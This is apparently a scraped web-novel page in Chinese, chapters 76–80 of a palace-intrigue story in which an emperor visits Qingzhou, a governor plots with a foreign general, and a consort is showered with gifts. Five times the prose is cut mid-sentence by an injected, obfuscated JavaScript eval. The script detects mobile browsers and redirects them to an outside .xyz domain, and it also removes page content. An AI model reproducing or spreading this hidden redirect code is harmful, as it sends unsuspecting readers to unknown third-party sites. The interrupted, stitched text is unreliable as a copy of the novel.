“短短几年间,百姓们已经住上青砖瓦房了,朕心甚慰啊。 若是先皇看到,也会同朕这般喜悦的吧?” 楚舒茗一刻也不耽误,立马接过话来,“先皇时逢乱世,能与陛下您携手稳固国之根本,已是青史留名之不世功绩了。 陛下您国策制得好,首辅大人施行有方,轩辕如今欣欣向荣,乃是预料之中的事儿。” 这话听的一旁的魏大贤,心里也乐开了花,但陛下没说话,他也没抢先回答楚妃。 楚舒茗一句话,让夜不群想到了昔日同魏大贤赵小高并肩作战的日子。 他朝魏大贤招了招手,“来吧大贤,你也许久没陪朕喝一杯了。” 魏大贤压不住嘴角的笑意,落座时冲楚妃点了点头。 简简单单的动作,但也是世间罕见了。 此女真乃大才,楚天明做的最对的一件事儿,就是将楚妃送入宫中。 夜不群跟魏大贤聊欢了,忽地冲楚舒茗道:“楚妃,接下来一路上你便替朕照顾好皇后。 朝夕城朕再与你们汇合。” “大贤,难得咱们君臣一同出来一趟,那今日你便陪着朕,再走一遍当初的那条路。” 魏大贤脸色登时微微变化。 第76章矛头对外 魏大贤想了一下,那条路线上,他可没做任何安排。 缩在一旁的国师却是心中雀跃,机会来了吗?陛下去吧去吧。 巫马道奇高兴归高兴,也继续低头装死,最好是陛下把他忘了。 魏大贤不敢扫夜不群的兴,犹犹豫豫着怎么开口。 夜不群却已经下令停车,出了辇车,命千人斩牵马来。 都不用有人领头,百姓们一见龙袍加身的夜不群,齐刷刷的跪在地上,高呼“万岁万岁。” 夜不群抬手挥了挥,跟百姓们简单的来了一个互动,“都平身吧,朕就是看看你们,你们该做就做什么,不要受朕影响。” 说是这么说,但谁敢起来? 夜不群翻身上马,带着五十名千人斩率先出发,魏大贤紧随其后。 剩下的九百五十名千人斩,留下负责皇后安危。 楚妃净了手,坐在皇后床榻前,拿着温水浸泡过的帕子,给皇后擦着脸。 “皇后娘娘,您也该醒来了,启西能不能好起来,还得仰仗您。” 说罢,楚舒茗更尽心尽力的伺候安乐了。 夜不群等人骑马纵驰,不多时便出了交县。 他来了兴致,挥舞着马鞭,一刻也不停,还要拉着魏大贤比谁骑的快。 压根就没给魏大贤紧急安排的时间和机会。 酉初时分,到了温县地界。 为了骑马方便,夜不群在出交县时褪去了繁重的龙袍,换上了寻常的骑射服。 越往温县靠近,夜不群的脸色就越难看。 前面镇子上看见收赋税的,他虽有不悦,但也没放在心上。 不成想,这一路上凡是有人家的地方,竟都有官兵在征收赋税。 他规定,轩辕以地界划分,凡属北地界每年于夏秋征收赋税,凡属南地界每年于春冬征收赋税。 而现在正月间,并不是征收赋税的时候。 魏大贤早看出他脸色不对,但事实就摆在眼前,他百口莫辩。 “吁。”夜不群终于是忍无可忍,勒马停住。 “怎么回事儿?是在收去岁没征够的税,还是你在加征赋税?” 夜不群一声质问,魏大贤瞬间下马,跪在了他面前。 一句话,可谓是让魏大贤脑子转翻。 这寻思来寻思去,除了扯在皇后身上才能大事化小,小事化了外,别无他法。 “陛下,臣不敢欺瞒,是在加征赋税。 郑皇后无情,给皇后的药涨价,臣只能暂时苦一下百姓了。”魏大贤低着头,这也不算嚼舌根。 皇后的药从之前一粒百金,涨到现在一粒万金。 不这样搞,哪里来的金子? 更莫说皇后现在用药加倍,魏大贤家底都快贴穿了,还不算赵小高的。 京中各个大臣,更是轮流输血,可也是杯水车薪。 夜不群听闻这话,没再过多责备,“上马吧,马上一切都会好了。” “是。”魏大贤恭敬应着。 在他翻身上马之后,夜不群冷声吩咐着:“可以暂时苦一下百姓,但不能绝了百姓的活路。 北戎和天缘这些年也休养的差不多了吧?朕早就说过,矛头要对外,目光要放长远一点,你可明白?” 魏大贤领命道:“待此程返京后,臣就带天罗去天缘‘重修旧好。’ 让小高带地网去教教北戎何为礼仪之邦,定让他们安分,不再扰乱启西边疆。” 夜不群不禁笑了声。 大贤也算是越发的成熟稳重了,现在都知道师出有名了。 “日后也要多教教小高,莫要叫他整天只知道打打杀杀。” 夜不群说完,一挥马鞭,继续往前。 魏大贤策马跟上,他想想也是,不能总是苦自己人。 东渝和大晟,也要去搜刮搜刮了。 …… 有了前车之鉴,赵小高也是一路上都安排妥当了,飞奔赶往青州。 加之天气渐暖,又是春天,无甚大雨滂沱不能赶路的天气。 终于赶在夜不群之前抵达了青州。 万辛早收到消息,带人于城门口处早早等着。 青州、叶州,乃是轩辕和北燕贸易往来的重要州城,是真的一片欣欣向荣的景象,百姓安居乐意。 两国早有盟约,开通互市。 青州城内,有不少北燕的商人开店做生意,别看是轩辕的地盘,北燕色彩却异常浓重。 沈安安看着几十米高的城墙,犹如一座天险傲立于此,想来是防范北燕而建立的。 “臣参见太子殿下、福王殿下、荣贵妃娘娘、侯爷。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15446808|169421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一路辛苦了,一切下官都安排好了,请随下官进城。” 万辛笑盈盈的迎上来,对定国侯不冷不热的,对夜亦天却是格外热情。 “太子殿下,青州城内最好的客栈下官已经命人腾空了,就等着殿下下榻。”万辛恭敬说道,他将夜亦天请下了马背。 不远处,停着一辆招摇惹眼的马车。 沈安安也下了马,将夜亦德从马背上抱了下来,她问着夜亦德:“这就是万辛吗?” 夜亦德小脑袋瓜点了点,“母妃你不认识他吗?你不是他向皇叔推举入宫的吗?” 沈安安摆了摆手,“不曾见过。” 托夜亦天的福,沈安安和夜亦德也被万辛请上了马车。 至于定国侯,还是继续骑马吧,反正他没安排多余的马车。 赵小高看着万辛这一幅狗腿子的模样,满目都是不屑,自顾自的骑着马走在最前头。 万辛则是骑着马,跟在沈安安他们马车的左边。 王坡骑马带着铁蛋,跟在马车的右边。 这辆马车豪华是豪华,就是没有窗户,窗户处是挖空的。 万辛凑近,笑呵呵的同沈安安客套,“娘娘在宫中和太子殿下相依相伴,若有需要的,尽管给下官来信,下官定在所不辞。” 沈安安挥了挥手,“不劳万大人费心了,我们在宫中一切都好。 万大人,你还是去前面带路吧,定国侯也不知道你安排的客栈在哪儿呀。 定国侯跟我们住同一家客栈吗?” 一句话倒是提醒了万辛,那客栈可没准备让赵小高也一起住进去。 害,反正他们已经到了青州,还愁没有说话的机会吗? “那下官就去带路了。”万辛说罢,扬着马鞭叫着“侯爷”去追前面的赵小高了。 沈安安坐在马车里,忍受着镂空处吹来的冷风。 这万辛,为了方便同他们说话,马车都要凿个窟窿。 沈安安轻轻拍着夜亦天的背,脸上的笑意明显,“亦天呀,我倒是没想到,你在这青州威望还挺高。” 夜亦天继续看着手中书册,“哼,你想不到的事情还多着呢。” 夜亦德吹着手里的小风车,“呼。” “皇兄若是再往前走走,去到同州和西天城,得是座上宾吧?” 第77章 变天 一行人就这么到了万辛安排的客栈,离青州衙门不远,在同一条街上。 一座八层的圆形楼,里面热闹非凡。 没有客人,沈安安他们看到的都是客栈的人。 歌舞升平、夸张的如同皇宫设宴在接待外宾。 “娘娘,请。”万辛在最前头带路,给沈安安安排的厢房在顶层。 沈安安看的眼花缭乱,别看她是个女人,但上一世一直都在军中,身上多是男子气概,也喜欢欣赏妙人曼妙的舞姿。 两小只跟在她身侧。 夜亦天对这些热闹不感兴趣,闷头看着手中书。 这客栈仿若建在室内,一进大门便与外界彻底相隔,便是在白天,也要点着蜡烛。 夜亦德吹着手里的小风扇,乐呵呵的同沈安安有说有笑。 万辛几次搭话,沈安安都没理。 王坡跟铁蛋,看的是目瞪口呆,他们哪里见过这样的场面? 都说北燕是个好地方,这才到了临近北燕的地方,日子就这么逍遥快活,北燕还了得? 王坡拍了拍铁蛋的脸,“这下高兴了吧?不哭了吧?” 一句话,又把铁蛋的悲伤惹了起来。 铁蛋张嘴就开始哇哇大哭。 王坡赶忙捂住了他的嘴,“好好的,你可别煞风景,没看娘娘跟万大人有要紧事儿聊吗?” 他们俩可没有沈安安他们的待遇,但毕竟是沈安安的人,万辛对他们也不差,将他们的厢房安排在了七楼。 万辛想得周到,给夜亦天和夜亦德安排了同样年纪的杂耍团小子。 一上八楼两小只就被团团围住带远了,霎时间,徒留下沈安安和万辛。 “安安啊。”只两个人时,万辛对她的称呼都变了。 沈安安闻言一愣,不过也没作多想。 莲花不是说了吗?自己是这万辛举荐入宫的。 “万大人请说吧。”进了屋子,沈安安往椅子上一坐,伸手抓了一把瓜子。 红枣味的瓜子,以前倒是没尝过。 万辛原本要坐下的动作一顿,这沈安安以前不是谨小慎微的吗? 送她入宫的时候,还担心她会在皇上面前丢份儿,怎么现在像变了个人一样? 果然,权力才是女人最好的补品,大补。 沈安安还是有手段的,如若不然,短短不到三个月的时间,她不但有两个皇子傍身,还升了贵妃。 万辛心中窃喜,看来自己这步棋是走对了。 “安安啊,我的事儿你办的如何了?” “陛下马上就要到青州了,今岁就是我这青州巡抚任期的最后一年。 不是我不放心,是我想再跟你确认一遍,陛下此番前来是亲自任命我留任吗?” 万辛给沈安安倒了杯茶,“八炮台,北燕特产,慢慢喝。” 他这也是下血本了,他都舍不得喝,更莫说这煮茶的水是希崽呢。 沈安安挠着头,眨巴着眼睛看向他。 她倒是实诚,开口就给万辛一个王炸,“万大人,实不相瞒,进宫那晚我磕了脑袋,失忆了。 以前的事儿我不记得了,要么你展开说说?” “啊???”万辛震惊三连,拧着眉审视她。 看这样子也不像是装的。 万辛低头思索了片刻,开口道:“无妨,我跟你细细道来。” “想当初,先帝还是太子,年岁又小,又不得宠爱。 我与你父亲,是太祖皇帝指配给他的亲兵……” 沈安安听的都要打瞌睡了。 简单来说,就是这万辛与原主父亲乃是生死之交,还都是先帝宠信的旧臣,二人情同手足,原主的命也是万辛救下的。 “你爹后来葬身大晟,连尸首都没找到,还是我给他立的衣冠冢。”万辛足足说了半个时辰,这才结束。 沈安安点了点头,捂着嘴打了个哈欠。 “理是这么个理,可我现在也实在在陛下跟前儿说不上话。 你送我入宫的那天就应该知道,我是个哑巴,连我自己受了委屈都没地诉说。” 沈安安喝着茶,烤着暖炉。 万辛看着她吊儿郎当的态度,这是压根就没把他的事儿放在心上。 他收了笑脸,看来沈安安心机颇深,分明就是把他当攀云梯,现在这是装疯卖傻打定了主意要卸磨杀驴了。 万辛脸上笑容消失。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15446809|169421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那就先告辞了。”万辛冷哼着。 沈安安挥手相送,“万大人,慢走不送。” “哼。”万辛甩袖出了厢房,迈步下了楼梯。 看来这轩辕是又要变天了啊,还是早做打算为好。 出了客栈,上了马车,万辛吩咐着亲信:“注意龙虎军的动向。” “是。”亲信应了声,牵着马车往府衙回了。 与此同时,魏大贤在青州开设的客栈里。 赵小高沐浴完,换上了一身干净的锦衣华服。 他坐在火炉前的椅子上,烧掉了魏大贤给他送来的最新信件,“来人。” 一名地网应声推开了房门,就见赵小高临窗站着,俯瞰着青州繁华的街道。 “侯爷。”地网恭恭敬敬的叫着。 赵小高将腰间令牌递给了他,“持本侯令牌,去叶州调五万龙虎军,入青州护驾。” “集结青州的地网,时刻关注万辛的动向,调龙虎军之事儿,不得有半分消息传入青州。 若发现刺探军情者,格杀勿论,另,关注同州动向。” “是,侯爷。”地网双手接过令牌,退出了屋子。 青州城繁华,想来这些年万辛没少从中捞油水。 待陛下来了,抄了他的家,也算是给陛下缓解国库压力了。 另一边的万辛,可谓是茶饭不思。 这一等就等到了第二天卯初,派出去打探龙虎军动向的人满身是伤的跑回来一个。 “大人,我们的人都被半路截杀了,属下是拼死才逃回来的,压根出不了青州地界。” 万辛眉目蹙着,“你且下去好好养伤吧。” 万辛一颗悬着的心,终于是死掉了。 这夜不群,太狠了,当真是容不下一个先帝的人。 夜不群执掌轩辕的这些年,他也算是尽心尽责,时时刻刻守着北燕。 不成想,到头来还是兔死狐悲的下场。 既如此,那就休怪他不念旧情了。 万辛当即回到书房,犹犹豫豫还是写了一封信。 一不做二不休,要么不做要么做绝。 写好信,他来到后花园,将满笼子兔子放了出来。 第78章 断头饭 天未大亮时,一只老鹰从空中俯冲而下。 满院子的兔子,蹦蹦跳跳、惊慌失措的开始躲躲藏藏。 趁着老鹰吃兔子时,万辛将信绑在了老鹰爪子上。 这是北燕镇守同州的大将耶律怀豢养的,平时他跟北燕互通消息,用的就是这法子。 青州是他的老巢,永远都只能捏在他的手里,要么是轩辕的,要么是北燕的,谁容得下他就是谁的。 客栈里,一名地网汇报着,“启禀侯爷,万大人放鹰了,没射下来。” 赵小高对着铜镜整理着装束,“有动作就好,不必理会。” 他声音忽然拔高,“陛下何时到?” “巳正御驾就抵达青州城了。”地网回着。 赵小高一甩袍子,迎接陛下,他穿上了那身紫色**袍。 出了客栈,前往沈安安所在的八宝楼客栈,准备接上他们一起。 沈安安派王坡出来传话,让他稍候片刻。 可这一候,半个时辰过去了。 赵小高抬头看着太阳,冷声命令:“再去催。” “是。”身旁地网应了声,跑进了八宝楼。 又是三刻钟过去了。 “沈安安。”赵小高终于忍无可忍,一步跨进八宝楼,朝着楼上大吼出声。 就见沈安安不紧不慢的从楼上下来,“来了来了。” 沈安安左右手分别牵着夜亦天和夜亦德。 她带孩子,实在是一言难尽。 赵小高瞥着衣裳七扭八扭的夜亦德,“迎接陛下,你就这样带着二殿下去?” 至于同样穿戴的夜亦天,他视而不见。 沈安安倒是把自己打扮的花枝招展,穿着一身大粉色,像只花蝴蝶。 出了客栈,她牵着两小只上了早就备好的马车。 至于王坡和铁蛋,被她留在了八宝楼。 万辛也陪同着,只不过他骑马。 他也懒得安排什么迎接仪式,青州街道上一切如常。 一队人马就这么浩浩荡荡,往城门口去。 没等多久,由千人斩护送的御驾缓缓驶来。 万辛看到千人斩的那一刻,整个人都不好了,脸色难看非常。 赵小高瞥着一旁的他,冷哼一声。 沈安安轻轻拍了拍夜亦天的肩膀,“你皇叔来这儿干嘛?” “许是陪孤见外祖父吧,以前都是他陪着孤来的。”夜亦天回着。 小小的人儿定睛看着缓缓靠近的御驾,想着曾经叔侄愉快的时光,心中不免生起些许期待来。 除了这个缘由,他也想不到其他的了。 夜亦德看着愈来愈近的御驾,将手中小风车插在了脖后的领子里,“可是之前皇叔也没带千人斩啊,为什么这次他带了千人斩?” 那辆很大很大的双层马车,映入众人眼中。 听闻这话,沈安安和夜亦天陷入了沉思。 这是沈安安第一次见千人斩的全貌。 一个个配备的都是超级纯正的汗血宝马,连马匹都是一样的身高、一样的颜色。 千人斩身着黑甲,脸上戴着遮挡住整张脸的面具,腰间缀着两把火铳,背上一柄漆黑大伞。 大伞的左右,又分别插着两把刀。 千人斩越是靠近,越是有那种乌云盖顶的压迫感。 他们行动缓慢,“咚咚”的马蹄声,惊的远处林子里鸟兽四散开。 天儿并不热,一阵风吹过,甚至还有凉意。 可万辛汗流浃背,已不知用帕子擦过几次脸和额头了。 赵小高先一步迎了上去,跪在地上,“臣恭迎圣驾。” 沈安安牵着两小只,跪在赵小高后面,她自是当哑巴,跪着不说话。 万辛跪在最后头,诚惶诚恐的小声附和:“臣恭迎圣驾。” “吁”一声,最前头的千人斩勒马停住。 二十八匹马拉着的辇车,足足拖了好几米才停了下来。 千人斩将马凳放好。 夜不群在魏大贤和楚舒茗的陪同下出了马车。 夜不群没理会其他人,看向赵小高问着:“北燕来信了吗?” 万辛听得是清清楚楚。 这是怎么回事儿?莫非皇上不是冲自己来的? 那他送给耶律怀的那封信,岂不是草率了? 真是追悔莫及。 “回陛下,并未。”赵小高诚然回着。 夜不群闻言也没生气,只是冲着千人斩招了招手。 下一刻,千人斩将后面一辆小马车里的郑扶胤和董聂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15446810|169421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带了下来。 两人虽换上了体面的衣裳,但从脸色看得出,身体并未完全恢复。 夜不群从辇车上下来,缓缓走向赵小高。 身后四名千人斩,分别架着郑扶胤和董聂。 “告诉郑婉婉,朕到了。”夜不群吩咐着赵小高。 说罢,他就掠过赵小高,朝着沈安安去了。 年轻的帝王,弯下了他那钢铁般的腰,伸出一只高贵的手,握住了沈安安的胳膊,将人从地上扶了起来。 他甚至都忽略了她旁边的夜亦天和夜亦德。 夜不群声音温柔,一双似水柔情的眸子,看着沈安安,“你可还有什么愿望想实现的? 沈安安瞳孔震惊,抿着的唇微张了张,心里:‘啊???这**今天吃错药了吗?对我这么好,我怎么有种不详的预感?’ 万辛余光瞥向两人,皇上这么宠爱沈安安的? 这**,果然是得势了,他这简直就是偷鸡不成蚀把米。 见沈安安不说话,夜不群也不生气。 他瞥向后面的万辛,道:“万大人平身吧,这几日不用你做旁的事儿,只专心将最好的给荣贵妃寻来便是。” 听闻这话,两小只也是丈二的和尚摸不着头脑。 两小只对视一眼,眼中尽是疑惑,也不敢说话。 楚舒茗神色如常,看向沈安安的眸子温柔又带着些悲戚,不过刹那之间,眼中又恢复了往日那般满满的笑意。 听说死囚行刑前,都会有一顿断头饭,莫非这就是陛下给荣贵妃的断头饭? 可惜了她小小年纪,又不谙世事。 但若真的皇后能魂魄进她的身体,得以重获新生,她也算是值了。 沈安安后知后觉的福了福身子,反握住了夜不群的手,朝着他疯狂眨眼睛。 “想说什么就尽情的说吧,来,陪朕一起进城吧。” “朕陪你一起逛逛这青州城,喜欢什么就拿什么,朕都赏你。” 末了,他眸子向后瞥去,“你们也都平身吧。” “亦德。”他招了招手,将夜亦德叫到身边,又看了一眼一旁落寞的夜亦天,“亦天,你也来一起陪陪你母妃吧。” 沈安安:“陛下,这是我立功的奖赏吗?我可不可以要点别的?” 第79章烟火一响,黄金万两 夜不群步子缓慢,朝城内走去,“你但说无妨。” 沈安安竖起两根手指头,在夜不群面前晃了晃,“陛下,我有两个愿望。 第一个,你放我出宫,我不适合做妃子。 第二个,你封个将军给我做做,我去给你戍边。” 夜亦天眉头皱了又皱,她怎么敢说出口的? 夜亦德心口如一,仰着头看向沈安安问着:“母妃你是认真的吗?” 万辛差点没摔倒在地上,这小**,原来是想着代替他的位子,好狠啊。 一向会说话的楚舒茗,此时也哑口无言,真是闻所未闻。 妃子入宫,不就是争宠的吗?这荣贵妃倒好,求着被废,真是千古奇迹。 一直都观察着夜不群神色的魏大贤,朝着楚舒茗递了个眼神过来。 这眼神好似在说:‘你会说多说点,赶紧让她闭嘴。’ 楚妃也是有口难言,这话她如何敢接? 赵小高则是狠狠瞪了一眼不识趣、仍在夜不群面前晃来晃去的沈安安。 难得陛下心情愉悦,她就非要给陛下找不痛快。 落在最后的千人斩,团团围着辇车,护送皇后进城。 夜不群意味深长的看向沈安安,倒是也没生气,“有时候朕真想敲开你这小脑袋瓜,看看里面都装了些什么。” 这话听得两小只是忐忑不安、后背发凉,这话从皇叔的嘴里说出来,可一点儿都不好笑。 沈安安挠着头,“陛下莫非要食言?” 夜亦天低着头,扯了扯她的裙边,想提醒她快别说了。 夜亦德睁着一双大大的眼睛,吞咽了下口水,母妃胆子也太大了吧? 夜不群看着沈安安脸上的欣喜消失,渐渐被一脸的失落代替。 这让他想起了曾经与皇后相处的时光,他以前没少惹皇后不开心。 他垂下眼睑,被沈安安冲撞的怒气,也消了。 夜不群道:“你的愿望,国法不容,先不说轩辕立朝以来,没有女子为将的先例。 妃子被废,是要关进冷宫的,并非朕食言,国法乃国之根本,你的愿望需在法理以内。 重新说。” 这要是换在平时,千人斩的刀已经斩下沈安安的脑袋了。 沈安安兴致缺缺。 但忽地,她又想起这**喜怒无常。 既然自由要不到,那就要能保命的东西。 就见她又竖起三根手指,“陛下,那就赏臣妾三块免死金牌吧。” 她一块,亦天一块,亦德也来一块,应该够用了吧? 夜不群罕见的笑了声,他摇了摇头。 吩咐着身后紧跟着的魏大贤,“大贤,传朕口谕,命清吏司给荣贵妃打丹书铁券。” 沈安安一时乐坏了,都忘记了自己的身份,豪情霸气道:“我们娘三儿都要,一人一块。” 魏大贤一声“是”噎在了喉咙里。 就听夜不群吩咐着:“允了。” 魏大贤这才拱手弯腰,恭敬回着:“是,陛下,臣这就传您口谕回京。 命工部、礼部协同打造。” 赵小高瞥了一眼魏大贤,心中的不平带在眼里。 他们都没有,荣贵妃凭什么?就因为长得跟皇后相像? 夜亦天一时也不知夜不群要干什么,但有了丹书铁券,他内心还是高兴的。 夜亦德喜悦都写在脸上,有了这东西,日后去到西南当王爷那岂不是万无一失? 还是要快快长大。 夜不群冲沈安安道:“现在可以走了?” 沈安安:“走,陛下您先请。” 真是有奶就是娘,她的态度可从来没这么好过。 青州城繁华,各种新奇玩意儿都是沈安安从来没见过的。 街边小吃、布行新衣、华丽的马车、西域的头饰……她见一样爱一样。 凡是她目光停留过的,无论是什么,夜不群都跟掌柜的说“要了。” 但是付钱的,是万辛。 他带出来的碎银、银票,全都花光了。 期间让人送了三趟银子,都还不够付。 这一逛,就到了傍晚。 夜不群下榻星月楼,这是青州最高的一座楼。 皇后自然也歇在这里。 站在星月楼顶,真有伸手可摘星辰的既视感。 一张八仙桌前,夜不群和沈安安面对面而坐,她的身旁,是夜亦天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15446811|169421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和夜亦德。 桌子上摆满了美味佳肴,便是在八宝楼,沈安安也没见过。 果然,皇帝走在哪里,都是不一样的。 “你看过烟火吗?”夜不群看着伴随夜幕降临,而有星星点点的天空,问着沈安安。 沈安安正拿着筷子,大快朵颐,饭桌上,她向来都是不拘小节的。 “没有。”她诚然回着。 然后,她问出了两小只想问的问题,“所以陛下,这烟火到底是个什么东西?” 夜不群没有回答,只让魏大贤放了个信号弹。 下一瞬,一道火光冲天巨响,接着是两道、无数道…… 原本黑暗的天空,忽地变成了彩色。 伴随着乍响,一朵朵巨大的彩色菊花在高空中绽放。 这是一场盛大的视觉盛宴。 沈安安的瞳孔里,倒映着各种颜色,甚至有些颜色她见都没见过。 烟火炸红了半边天,久久不衰。 沈安安手中的筷子“啪嗒”一下掉在了地上,太震撼了,简直就是视觉盛宴,这辈子来这儿也是值了。 连最爱吃的夜亦德,都无心美食了,站在椅子上看着烟花欢呼雀跃。 夜亦天定定的坐在椅子上,仰头看着,他眨眼的频率都降低了,生怕下一秒就没了。 赵小高和魏大贤面面相觑。 他撞了撞魏大贤的肩膀,“何时有的这东西?” 他的声音,淹没在烟花绽放的声音里。 魏大贤摸了摸额头,“别提了,这烟火可不便宜。 龙虎军的**造的,能看就多看一眼吧,都是银子。” 赵小高仰头看着,“就这么空放了?这要是全怼到同州,得死多少北燕敌军?” 一时间,烟花在响,魏大贤和赵小高却是心在滴血。 随着烟花绽放的时间越来越长,每响一下,他们俩都心疼。 随着“砰”一声震天巨响的声浪,凤凰还巢的烟火遮天蔽日,几乎笼罩住了他们头顶肉眼可见的整片天。 夜亦德震惊道:“哇!!!” 沈安安早已起身,趴在栏杆上头朝天看着,“哇!” 她意犹未尽,“没了吗?” 第80章有人欢喜有人愁 烟花落,黑暗瞬间侵袭。 只挂着的灯笼泛着幽幽的光。 夜不群看向沈安安,开口道:“这已经是朕目前能燃放的极限了。” 魏大贤看着恢复平静的夜空,唉,两万两白花花的银子,就这么没了。 “罢了罢了,吃菜吃菜。”沈安安折返回位置上,顺手拿起桌上的筷子时。 她这才发现,菜品已经换了新的。 “朕听闻你喜欢美食,那便多吃点吧。”夜不群温声说着。 就见他将一帖子,递给了沈安安,“今夜安排了八百八十八道菜,看看你喜欢吃什么就让他们上什么。” 末了,他冲身后的魏大贤、赵小高道:“你俩也别站着了,坐下吃吧。” “是。”二人齐齐应了一声,坐在另外一张桌子上。 两人紧挨着落座,赵小高一边往嘴里塞肉,一边小声嘀咕:“这么花,皇后的药钱还有吗?” 魏大贤吃相就文雅的多了,也是最近改变的,他低声回着:“过几天就不用给皇后买药了。” 赵小高吃东西的动作一顿,“为什么?” 魏大贤岔开话题,“没什么,吃你的。” 沈安安帖子看了没到三分之一,顺手就递给了夜亦德,还冲夜亦天说道:“亦德爱吃,他挑的肯定好吃,你没意见吧?” 夜亦天捧着书看着,鼻孔里发出一声“嗯。” 吃着吃着,沈安安就以一种怪异的目光看向了夜不群。 不对。 哪里不对? 这……莫不是阿爹也来了,穿到了这**身上? 普天之下,除了阿爹没有第二个男人对自己这样好了。 想是这么想,但她也不敢问。 吃着吃着,沈安安跟夜亦德就吃不动了。 夜亦德靠在椅子上,摸着自己圆滚滚的肚子,松了松腰带,“我不吃了母妃,你不要再给我夹了,吃不动了。” 沈安安放下筷子,“我也不吃了。” 赵小高看着隔壁满桌子的狼藉,这俩是真能吃啊。 八宝楼是回不去了,沈安安一行三人也得歇在这星月楼里。 夜不群下令,不许两小只打搅沈安安休息,他们的厢房被迫分开。 整座星月楼,都在千人斩的控制和监管下,要说一只苍蝇都飞不进来,也是毫不夸张的。 沈安安推开窗户,望着夜空,独自感叹:“今天怎么像是活在梦里?” 这是她一直想要的享福,但日子真变成了梦寐以求的,她怎么反而惴惴不安了起来? “害,看来整天吃吃喝喝睡睡,好像也没什么意思。” 她坐在窗前,手支着脑袋,此时倍儿精神,压根睡不着。 她开始胡思乱想,要是现在**身体里的真是阿爹,那自己岂不成了阿爹的妃子? 不对,要真是阿爹的话,城门那会儿就该废了她。 可要不是阿爹的话…… “我懂了,是阿娘。”她笑呵呵的自言自语。 说罢,人又蔫了下来,一拍额头:“沈安安,你在想什么呢?睡觉。” 伸手关了窗,四仰八叉的往床榻上一躺,这种想法连她自己都觉得离谱。 星月楼第一层的厢房里。 夜不群坐在书桌前,秉烛看着书,头也不抬的问魏大贤,“郑婉婉何时到?” 魏大贤恭恭敬敬的回着:“启禀陛下,北燕回信了,两日后到。” “但信上说了,不进青州,要在同州与青州交界处会面。” “无妨。”夜不群说罢,挥了挥手。 魏大贤起身站到了一旁。 夜不群放下手中书卷,抬眸看向跪在地上的国师巫马道奇。 接收到眼神命令,巫马道奇跪在地上爬了过去,头埋的低低的,“臣在。” “接下来就看你的了,这两日你养足精神、养好身体。 只要移魂**成了,荣华富贵,朕都满足你。”夜不群道。 “臣先谢过陛下。”巫马道奇叩谢着。 伴君如伴虎,这么些日子,他早已经养成了心中忐忑不安不表现出分毫的本领。 他的生命,就这样进入了倒计时吗?他还有两天可活了? 思前想后,巫马道奇轻声开口,“陛下,这一切的前提都得皇后醒来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15446812|169421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,且非常清醒。 若皇后清醒后能保持三天,此法必成。” 巫马道奇最后为自己争取着生机。 这一句话,将夜不群心底的愉悦一扫而空,他登时就沉声问着:“你莫不是在诓朕?” 魏大贤一双杀意满满的眸子,看向了巫马道奇。 与此同时,脑子里闪过一万种折磨人的法子,敢骗陛下,定要叫他生不如死。 巫马道奇连连砰砰磕头,“臣不敢,就是陛下给臣一百个胆子,臣也不敢欺瞒陛下。” 夜不群忽地起身,绕过桌子,弯腰掐住巫马道奇的脖子,“那你现在就跟朕说清楚,可还需要什么?” 巫马道奇哪里还敢胡诌?头摇的像拨浪鼓,“没了没了。” 夜不群鹰隼般的眸子,死死的盯着他的眼睛,“你确定?” “臣不敢有任何隐瞒。”巫马道奇欲哭无泪。 